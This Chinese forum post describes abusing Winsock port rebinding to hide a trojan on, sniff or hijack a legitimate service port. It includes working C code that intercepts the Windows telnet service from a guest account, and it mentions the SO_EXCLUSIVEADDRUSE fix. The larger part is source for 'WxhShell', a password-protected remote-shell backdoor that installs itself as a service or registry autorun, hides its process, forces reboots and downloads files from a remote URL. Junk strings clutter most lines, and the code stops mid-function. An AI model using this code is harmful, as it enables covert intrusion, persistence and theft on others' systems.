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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gd31ds!G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oFGgr2Re  
N~yGtnW  
  saddr.sin_family = AF_INET; # zd}xla0]  
g;3<oI/P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zr\G=0`  
ON_G D"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]=0D~3o3  
'_=XfTF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !Nhq)i  
b{e|~v6&  
  这意味着什么?意味着可以进行如下的攻击: 97 !VH> MX  
5i3 nz=~o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T:j!a{_|  
pHDPj,lu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uUpOa+t  
~Oj-W6-+&,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +qF,XJ2  
@(tiPV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ==7=1QfP  
8\Z/mU*4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O~#OVFJ9=  
g5&,l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dI8y}EbE~  
f9E.X\"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bzMs\rj\  
BA0.B0+"  
  #include dG]s_lb9H  
  #include 5HbPS%^.  
  #include Tq.%_/@M<  
  #include    u"r1RG'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _{?/4ZhA\+  
  int main() o{QPW  
  { laFF/g;sRC  
  WORD wVersionRequested; h|=&a0  
  DWORD ret; G Q+g.{c  
  WSADATA wsaData; w.0]>/C  
  BOOL val; h5#V,$  
  SOCKADDR_IN saddr; (V~PYf%  
  SOCKADDR_IN scaddr; {?'c|\n Li  
  int err; W r;?t!  
  SOCKET s; p>]2o\["  
  SOCKET sc; 2KmPZ&r  
  int caddsize; o[eIwGxZ  
  HANDLE mt; j]_"MMwk$<  
  DWORD tid;   >*mLbp"  
  wVersionRequested = MAKEWORD( 2, 2 ); bPdbKi{j@  
  err = WSAStartup( wVersionRequested, &wsaData ); ut^^,w{o>  
  if ( err != 0 ) { thSo,uGlW  
  printf("error!WSAStartup failed!\n"); )wY bcH  
  return -1; 80ms7 B  
  } d~J4&w  
  saddr.sin_family = AF_INET; B\!.o=<h  
   u>-!5=D8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'xp&)g L  
r*l:F{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Aa/lKiiz  
  saddr.sin_port = htons(23); lN^} qg><  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ! =c&U.B  
  { #(NkbJ5ka  
  printf("error!socket failed!\n"); BK:S:  
  return -1; m)9qO7P  
  } 68LB745  
  val = TRUE; bMw)> 4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lTv_%hUp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FVcoo V  
  { 0Sz iTM  
  printf("error!setsockopt failed!\n"); G?6[K&w  
  return -1; pYs"Y;%  
  } 3l@={Ts  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q y8=4~40  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ge;plD-f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /TgG^|  
.sDVBT'%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9f4#b8  
  { ~?{"H<  
  ret=GetLastError(); B/CP/Pfb  
  printf("error!bind failed!\n"); pJ#R :#P  
  return -1; |f0KIb}d  
  } UI 7JMeV  
  listen(s,2); yVM 1W"Q  
  while(1) Y<S,Xr;J:  
  { @kLpK  
  caddsize = sizeof(scaddr); ?9801Da#/  
  //接受连接请求 0 .dSP$e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r`L$[C5I  
  if(sc!=INVALID_SOCKET) <vV?VV([  
  { Mc6?]wDB]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a{6rQ  
  if(mt==NULL) c.PPVqx  
  { ^kMgjS}R  
  printf("Thread Creat Failed!\n"); F+S;u=CKx  
  break; bg)yl iX  
  } 9c1n  
  } ,wlh0;,  
  CloseHandle(mt); q*<Df=+B  
  } bewi.$E{  
  closesocket(s); 1qb 3.  
  WSACleanup(); F3b[L^Km]  
  return 0; Bk 1Q.Un  
  }   .Go3'$'v  
  DWORD WINAPI ClientThread(LPVOID lpParam) s!2pOH!u   
  { h30~2]hH  
  SOCKET ss = (SOCKET)lpParam; ds4)Nk4%O  
  SOCKET sc; 0%^m  
  unsigned char buf[4096]; 4+`<'t]Q  
  SOCKADDR_IN saddr; +S:(cz80V  
  long num; #$Z|)i]w  
  DWORD val; 94F9f^ L  
  DWORD ret;  wYS,|=y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QO)Q%K,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   16YJQ ue  
  saddr.sin_family = AF_INET; &Fl^&&1C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zTP3JOe(  
  saddr.sin_port = htons(23); l 49)Cv/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4y+] V~p  
  { INrUvD/*  
  printf("error!socket failed!\n"); D;|4ZjM-  
  return -1; :(Feg2c  
  } o=2y`Eq  
  val = 100; !G#3jh:kiY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J+LFzl07q  
  { }9Z?UtS  
  ret = GetLastError(); % j7lLSusX  
  return -1; r 8,6qP[  
  } EpCUL@+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mnaoh:z  
  { 81/Bn!  
  ret = GetLastError(); 2`l$uEI3oJ  
  return -1; F#Oqa^$(  
  } 1HBch]J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '@Y@H,  
  { XWbe|K!e  
  printf("error!socket connect failed!\n"); /cr.}D2O  
  closesocket(sc); gR(*lXm5w  
  closesocket(ss); Mx-,:a9}  
  return -1; Vcl"qz@Fj  
  } -[x^z5Ee`  
  while(1) _'dsEF  
  { Ne.W-,X^cL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }yU,_:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /"Om-DK%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bI=\n)sEz  
  num = recv(ss,buf,4096,0); z1F[okLA  
  if(num>0) -rlxxLT+  
  send(sc,buf,num,0); z$`=7 afp  
  else if(num==0) s&M6DFlA  
  break; HlY4%M5q/  
  num = recv(sc,buf,4096,0); >0i?}  
  if(num>0) Tfgx>2  
  send(ss,buf,num,0); } CJQC  
  else if(num==0) d"nE+pgE  
  break; z_< 7T4  
  } %"DEgI P  
  closesocket(ss); aIZ@5w"7  
  closesocket(sc); z8= Gc$w!  
  return 0 ; ^C@uP9g  
  } `qSNS->  
uyxU>yHV<g  
>u~ [{(d ,  
========================================================== <<w $ Ur  
t[F tIj6  
下边附上一个代码,,WXhSHELL vBQ5-00YY=  
>3X!c"#l  
========================================================== +*d,non6v  
pH?VM&x  
#include "stdafx.h" ?Gj$$IAe  
3b{8c8N^  
#include <stdio.h> &H,j .~a&l  
#include <string.h> As1Er[>  
#include <windows.h> aM3%Mx?w  
#include <winsock2.h> )AqM?FE4R  
#include <winsvc.h> OtF{=7  
#include <urlmon.h> r&xqsZ%R  
yK0Q,   
#pragma comment (lib, "Ws2_32.lib") EUe2<G  
#pragma comment (lib, "urlmon.lib") D_9&=a a'  
pR&cdO RsP  
#define MAX_USER   100 // 最大客户端连接数 3. Qf^p  
#define BUF_SOCK   200 // sock buffer <Ky\ ^  
#define KEY_BUFF   255 // 输入 buffer s+tS4E?  
C%"h1zWE:  
#define REBOOT     0   // 重启 <k5FlvE2  
#define SHUTDOWN   1   // 关机 $ZXy&?4  
r[ ' T.yo  
#define DEF_PORT   5000 // 监听端口 wQp,RpM  
JXGIVH?Rpu  
#define REG_LEN     16   // 注册表键长度 iX.=8 ~3  
#define SVC_LEN     80   // NT服务名长度 Rmn|"ZK  
X!CLOHVA a  
// 从dll定义API Q{H88g^=J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \h :Rw|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X`:(-3T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xp1 +C{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *WfOB2rU  
-t?S:9 [w  
// wxhshell配置信息 g;\zD_":l  
struct WSCFG { ^Cyx "s't  
  int ws_port;         // 监听端口 x7l)i!/$  
  char ws_passstr[REG_LEN]; // 口令 /!JpmI  
  int ws_autoins;       // 安装标记, 1=yes 0=no g84~d(\?  
  char ws_regname[REG_LEN]; // 注册表键名 M[R, m_p  
  char ws_svcname[REG_LEN]; // 服务名 S]9:3~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CTR|b}!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1 xiq]~H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I\Y/*u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sG0cN;I]t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *A GC[w}/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H4KwbTT"+  
E[nWB"pxE  
}; L,waQk / @  
^gH.5L0]gH  
// default Wxhshell configuration 7u!R 'D  
struct WSCFG wscfg={DEF_PORT, (bH"x  
    "xuhuanlingzhe", 2j4VW0:  
    1, f>waF u-  
    "Wxhshell", {;Mcor3  
    "Wxhshell", )+oDa{dZ  
            "WxhShell Service", |j^>6nE  
    "Wrsky Windows CmdShell Service", (Y, @-V  
    "Please Input Your Password: ", 11X-X  
  1, emw3cQ  
  "http://www.wrsky.com/wxhshell.exe", /.$n>:XR  
  "Wxhshell.exe" @6 gA4h  
    }; !F;W#Gc  
0$}+tq+  
// 消息定义模块 uc=-+*D'I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0l.+yr}PE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W5_t/_EWD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A:p7\Kp;5}  
char *msg_ws_ext="\n\rExit."; 5^GUuFt5m  
char *msg_ws_end="\n\rQuit."; H=Yl @  
char *msg_ws_boot="\n\rReboot..."; E} Uy-  
char *msg_ws_poff="\n\rShutdown..."; }/(fe`7:  
char *msg_ws_down="\n\rSave to "; ?*4&Z.~J  
isDBNXV:  
char *msg_ws_err="\n\rErr!"; 8\. #  
char *msg_ws_ok="\n\rOK!"; 0D|^S<z6  
n9t8RcJS:  
char ExeFile[MAX_PATH]; 4zpprh+`K  
int nUser = 0; 4eBM/i  
HANDLE handles[MAX_USER]; ub+>i  
int OsIsNt; 0RYh4'=F  
bX|Z||img  
SERVICE_STATUS       serviceStatus; ~e~4S~{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D>?%p"e  
#2_phm'  
// 函数声明 Q++lgVh)E  
int Install(void); {G%`K,T  
int Uninstall(void); T"in   
int DownloadFile(char *sURL, SOCKET wsh); %OfaBv&  
int Boot(int flag); w;}P<K  
void HideProc(void); 2!7wGXm~U  
int GetOsVer(void); yFl@ z  
int Wxhshell(SOCKET wsl); ]#j]yGV  
void TalkWithClient(void *cs); Rw^4S@~T  
int CmdShell(SOCKET sock); '2uQ  
int StartFromService(void); o`M7:8G  
int StartWxhshell(LPSTR lpCmdLine); Xy_+L_h^  
Z7K ;~*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vs7Hg )F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C[&  \Xq  
EtcAU}9  
// 数据结构和表定义 _;v4 ]MU  
SERVICE_TABLE_ENTRY DispatchTable[] = b0 PF7PEEQ  
{ {]Nvq9?  
{wscfg.ws_svcname, NTServiceMain}, SD8Q_[rY  
{NULL, NULL} V. =!^0'A  
}; ;[ pyKh  
&=<x&4H+  
// 自我安装 (gvaYKvr  
int Install(void) "CT'^d+  
{ QC \8Zy  
  char svExeFile[MAX_PATH]; dL |D  
  HKEY key; 1 c3gHc7{t  
  strcpy(svExeFile,ExeFile); (/v(.t  
9{'GrL  
// 如果是win9x系统,修改注册表设为自启动 -+Kx^V#'R  
if(!OsIsNt) { jU@qQ@|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ze%! C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -PB m@}*  
  RegCloseKey(key); 80![aj}z4G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xs.>+(@|;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Br`Xw^S  
  RegCloseKey(key); &]ts*qCEL  
  return 0; ]6GdB3?UVM  
    } &Jk0SUk MP  
  } DNLqipUw  
} s34{\/'D+  
else { %g kR G66  
HP:ee+n  
// 如果是NT以上系统,安装为系统服务 1bYc^(z0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ] RN&s  
if (schSCManager!=0) iNe;h|  
{ ^0pd- n@pn  
  SC_HANDLE schService = CreateService VI74{='=  
  ( aVNRhnM  
  schSCManager, *q=pv8&*s  
  wscfg.ws_svcname, |k^'}n  
  wscfg.ws_svcdisp, eL0U5>#  
  SERVICE_ALL_ACCESS, ht (RX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =n cu# T]  
  SERVICE_AUTO_START, 8l~] }2LAs  
  SERVICE_ERROR_NORMAL, ltwX-   
  svExeFile, Ha[Bf*  
  NULL, brl(7_ 2  
  NULL, r0+lH:G*q  
  NULL, u+&BR1)C  
  NULL, 7!]$XGz[  
  NULL )%-FnW  
  ); ]p\7s  
  if (schService!=0) )U`6` &F  
  { QpBgG~h"  
  CloseServiceHandle(schService); &;&i#ZO  
  CloseServiceHandle(schSCManager); (]w_}E]N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Oq7M1|{  
  strcat(svExeFile,wscfg.ws_svcname); "4<RMYQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qo4]_,kR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kl?U 2A.=  
  RegCloseKey(key); re2M!m6k5  
  return 0; f<=<:+  
    } S*Qip,u  
  } %\6|fKB4 <  
  CloseServiceHandle(schSCManager); :rk=(=@8`  
} n!2"pRIi  
} 3%bCv_6B  
)^qM%k8  
return 1; yAy~|1}  
} xdFm-_\-  
-y5^xR  
// 自我卸载 Ur6UE2   
int Uninstall(void) }%c2u/PQ  
{ zflq|dW  
  HKEY key; TD'RvTpl  
ai)S:2  
if(!OsIsNt) { f*,jhJ_I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j1Fy'os"!  
  RegDeleteValue(key,wscfg.ws_regname); )e d5~ok  
  RegCloseKey(key); jVC`38|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5=WzKM  
  RegDeleteValue(key,wscfg.ws_regname); 12`q9Io"  
  RegCloseKey(key); 'W(+rTFf!  
  return 0; %PRG;kR  
  } (OwAhjHE  
} 0"ksNnxK  
} ;R|i@[(J  
else { X;lL$  
9UsA>m.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )_k"_VVcC  
if (schSCManager!=0) t~U:Ea[gd  
{ X; I:i%-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /2N'SOX  
  if (schService!=0)  s6bILz-u  
  { ~b}a|K  
  if(DeleteService(schService)!=0) { K1>X%f^  
  CloseServiceHandle(schService); 5\gL+ qM0  
  CloseServiceHandle(schSCManager); GqMa|8j  
  return 0; c7UmR?m  
  } -^LUa]"E  
  CloseServiceHandle(schService); ?oana%  
  } gqV66xmJ3  
  CloseServiceHandle(schSCManager); *oopdGue  
} ZUePHI-dP  
} UF0W%Z  
,n<t':-  
return 1; 'n4Ro|kA  
} 'w3BSaJi  
$0$'co"  
// 从指定url下载文件 B~+3<#B  
int DownloadFile(char *sURL, SOCKET wsh) +Z> Y//  
{ =r"-Pm{  
  HRESULT hr; &|yQwNA*a"  
char seps[]= "/"; ~QgyhJM_h=  
char *token; TRP#b 7nC  
char *file; q.0Evr:  
char myURL[MAX_PATH]; !~Vo'ykwx'  
char myFILE[MAX_PATH]; 4<}!+X7m  
> %h7)}U  
strcpy(myURL,sURL); % `Q[?(z  
  token=strtok(myURL,seps); }<R,)ZV^G  
  while(token!=NULL) iO1ir+B\  
  { ;;e\"%}@=q  
    file=token; `EKmp|B_p_  
  token=strtok(NULL,seps); G&,1 NjSi  
  } I@Cq<:+(3  
,;;7+|`  
GetCurrentDirectory(MAX_PATH,myFILE); NwAvxN<R(f  
strcat(myFILE, "\\"); jf&B5>-x  
strcat(myFILE, file); e_RLKFv7  
  send(wsh,myFILE,strlen(myFILE),0); DrI"YX  
send(wsh,"...",3,0); nhV\<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #&zM.O1Q  
  if(hr==S_OK) Yc~(W ue  
return 0; tfB}U.  
else (-S<9u-r  
return 1; mm}y/dO~}  
Y-2IAJHS8  
} 0lpkG ="&r  
NSe H u k  
// 系统电源模块 mj{B_3b5  
int Boot(int flag) mJ+M|#Ox  
{ #1Zqq([@  
  HANDLE hToken; T_t5Tg~i[N  
  TOKEN_PRIVILEGES tkp; aQ!QrTua-  
7LEB ,bU  
  if(OsIsNt) { J)7\k$D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p7{2/m j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jr/  
    tkp.PrivilegeCount = 1; k=]#)A(#C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MB7UI8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L`'#}#O l  
if(flag==REBOOT) { rU6F$I=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s;brs}  
  return 0; BF^dNgn+%K  
} 5(wmy-x\  
else { CzMCd ~*7R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JJ:pA_uX  
  return 0; bG0 |+k3O  
} Eep~3U  
  } V}3'0  
  else { tIK`/)w,  
if(flag==REBOOT) { _+!@c6k)ra  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @},|i*H/  
  return 0; R*[X. H  
} H1GmC`\<[:  
else { [T |P|\M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N5PW]  
  return 0; -L-#-dK'  
} 2[Ofa(mkkp  
} sKy3('5;  
3Pu8IXW  
return 1; `~w|Xz  
} =Bg $OX  
#B!| sXC  
// win9x进程隐藏模块 n~"qbtp}  
void HideProc(void) w"`Zf7a{/  
{ Z8Iqgz7|y  
v)p'0F#6A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !dQmg'_V  
  if ( hKernel != NULL )  =oE(ur  
  { ~<N9ckK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =K)[3mX X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {EfA#{x  
    FreeLibrary(hKernel); eOoqH$ i  
  } i)iK0g"2  
vAh'6Ob7r  
return; mjQZ"h0  
} 3S5`I9I  
! k[JP+;  
// 获取操作系统版本 gt(^9t;  
int GetOsVer(void) Pz^C3h$5_  
{ b(IZ:ekZ5  
  OSVERSIONINFO winfo; 6"Ze%:AZZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F9} zt 9  
  GetVersionEx(&winfo); lw]uH<v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eo@kn yA<&  
  return 1; h;+{0a  
  else iQJa6QF&:  
  return 0; #a`D6;  
} M7[GwA[Z +  
xTU;rJV  
// 客户端句柄模块 .5"s[(S  
int Wxhshell(SOCKET wsl) .FN;3HU  
{ &SG5 f[  
  SOCKET wsh; mtg=v@~  
  struct sockaddr_in client; $@D*/@  
  DWORD myID; wBWqibY|  
pCf9"LLer  
  while(nUser<MAX_USER) YQ$LU \:  
{ m#$$xG  
  int nSize=sizeof(client); ?8w5tfN6t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `h|Y0x  
  if(wsh==INVALID_SOCKET) return 1; >\!G43Q=  
upLjkQ)_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XU`ly3!  
if(handles[nUser]==0) &^UT  
  closesocket(wsh); b'ZzDYN  
else O$nW  
  nUser++; ]xkh"j+W  
  } <~*[OwN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hj=qWGRgI  
f\rE{%  
  return 0; ;reBJk  
} k:&vW21E  
yq?\.~ax  
// 关闭 socket Q>q-6/|UX  
void CloseIt(SOCKET wsh) R XCjYzt  
{ O14\_eAu6  
closesocket(wsh); A<] $[2qPj  
nUser--; ~,_@|,)  
ExitThread(0); BbM/Rd1tAm  
} 1V wcJd  
W ]$/qyc&J  
// 客户端请求句柄 'yosDT2{#  
void TalkWithClient(void *cs) Hd\. ,2a"  
{ f}~=C2R1<!  
**\?-*c=U  
  SOCKET wsh=(SOCKET)cs; p+pu_T;~  
  char pwd[SVC_LEN]; &mW7FR'(  
  char cmd[KEY_BUFF]; cyLl,OA  
char chr[1]; =van<l4b#n  
int i,j; y"Pd>61h  
K5rra%a-7  
  while (nUser < MAX_USER) { P5H_iH  
`g_r<EY8/  
if(wscfg.ws_passstr) {  m^\&v0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }= wor~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;"2VU"  
  //ZeroMemory(pwd,KEY_BUFF); UT5xUv5'  
      i=0; K_AdMXF9  
  while(i<SVC_LEN) { UlWm). b;v  
o[1#)&  
  // 设置超时 +!GJ  
  fd_set FdRead; gKY6S?  
  struct timeval TimeOut; yM}3u4FG  
  FD_ZERO(&FdRead); bSz@@s.  
  FD_SET(wsh,&FdRead); V%{WH}  
  TimeOut.tv_sec=8; ,J '_Vi  
  TimeOut.tv_usec=0; .hM t:BMf*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E]v]fy"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /N({"G'  
!g`I*ZE+e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w=CzPNRHH!  
  pwd=chr[0]; p>O/H1US;  
  if(chr[0]==0xd || chr[0]==0xa) { o%f:BJS  
  pwd=0; n|pdYe8\  
  break; *T#^|<.XG  
  } oY5`r)C7  
  i++; hj&~Dn(  
    } z` YC3_d  
5*f54g"'  
  // 如果是非法用户,关闭 socket DSRmFxkk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f`KO#Wc  
} }OhSCH'o6  
W"*2,R[}%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  H2oxD$s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !-N!Bt8;  
qe'ssX;  
while(1) { b\KbF/ T  
FrUqfTi+W  
  ZeroMemory(cmd,KEY_BUFF); /\_n5XI1  
+I-BqA9  
      // 自动支持客户端 telnet标准   6:L2oW 6}{  
  j=0; :<s`)  
  while(j<KEY_BUFF) { ok [_Z;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yf;TIh%)=  
  cmd[j]=chr[0]; ahIDKvJ4  
  if(chr[0]==0xa || chr[0]==0xd) { ij|>hQC5i  
  cmd[j]=0; w[D]\>QHa  
  break; TqL+^:cq  
  } ZDAW>H<  
  j++; ).IyjHY  
    } vBJxhK-  
8MI8~  
  // 下载文件 uO-|?{29  
  if(strstr(cmd,"http://")) { ,[T/O\k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g~b$WV%  
  if(DownloadFile(cmd,wsh)) @ZjO#%Ep/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z:<an+v|5  
  else -)B_o#2=2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gwsIzYV  
  } .j&#  
  else { Qclq^|O0  
UX[s5#  
    switch(cmd[0]) { _G-y{D_S&  
  ^<qi&*  
  // 帮助 t1U+7nM  
  case '?': { K9.Gjw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '.;{"G.@'  
    break; MoQ\~/Z|  
  } |IV7g*J89  
  // 安装 Cc*R3vHM6  
  case 'i': { Ll-QhcC$  
    if(Install()) y3o3G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#u #m.  
    else rjiHP;-t1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yci}#,nb  
    break; +}M3O]?4  
    } `'^o45  
  // 卸载 ;x 2o|#`b  
  case 'r': { oGB|k]6]|  
    if(Uninstall()) {l5fKVb\C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); me{u~9&  
    else R|'W#"{@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y)]C.V,~  
    break; rX /'  
    } .4U*.Rf  
  // 显示 wxhshell 所在路径 n}[S  
  case 'p': { ;1PJS_@rX  
    char svExeFile[MAX_PATH]; j)Ak:l%a  
    strcpy(svExeFile,"\n\r"); 4bp})>}jB  
      strcat(svExeFile,ExeFile); !H)-  
        send(wsh,svExeFile,strlen(svExeFile),0); rm9>gKN;#  
    break; q^sZP\i,*;  
    } 4oH ,_sr  
  // 重启 ?>7-a~*A@  
  case 'b': { ~Gz9pBv1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Jb\}c}  
    if(Boot(REBOOT)) kE .4 #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TwI s _r:  
    else { IQ_s]b;z  
    closesocket(wsh); c AO:fb7  
    ExitThread(0); $-Ex g*i  
    } _K!.TM+9  
    break; |idw?qCn  
    } 2nC,1%kxhq  
